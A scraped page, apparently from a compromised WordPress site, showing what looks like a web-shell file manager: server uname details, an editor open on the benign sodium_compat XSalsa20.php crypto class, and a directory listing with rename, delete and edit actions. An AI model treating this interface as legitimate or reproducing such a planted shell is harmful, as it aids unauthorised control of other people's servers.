Elementor #2722 - Door of Clubs

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Current Directory: wp-includes/sodium_compat/src/Core32

Linux appserver-7a7af3b2-php-0c9ec09e2f9746c2a80fa3756c076432 6.12.94+ #1 SMP Fri Jul 17 09:26:56 UTC 2026 x86_64

Edit File: XSalsa20.php

<?php

if (class_exists('ParagonIE_Sodium_Core32_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_XSalsa20
 */
abstract class ParagonIE_Sodium_Core32_XSalsa20 extends ParagonIE_Sodium_Core32_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

/**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}

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Name	Type	Size	Actions
.. (Parent Directory)	Dir
BLAKE2b.php	File	21.80 KB	Rename \| Delete \| Edit
ChaCha20	Directory		Rename \| Delete
ChaCha20.php	File	14.17 KB	Rename \| Delete \| Edit
Curve25519	Directory		Rename \| Delete
Curve25519.php	File	129.86 KB	Rename \| Delete \| Edit
Ed25519.php	File	15.37 KB	Rename \| Delete \| Edit
HChaCha20.php	File	5.17 KB	Rename \| Delete \| Edit
HSalsa20.php	File	6.78 KB	Rename \| Delete \| Edit
Int32.php	File	24.00 KB	Rename \| Delete \| Edit
Int64.php	File	30.44 KB	Rename \| Delete \| Edit
Poly1305	Directory		Rename \| Delete
Poly1305.php	File	1.55 KB	Rename \| Delete \| Edit
Salsa20.php	File	11.24 KB	Rename \| Delete \| Edit
SecretStream	Directory		Rename \| Delete
SipHash.php	File	6.46 KB	Rename \| Delete \| Edit
Util.php	File	209.00 B	Rename \| Delete \| Edit
X25519.php	File	10.78 KB	Rename \| Delete \| Edit
XChaCha20.php	File	2.40 KB	Rename \| Delete \| Edit
XSalsa20.php	File	1.35 KB	Rename \| Delete \| Edit

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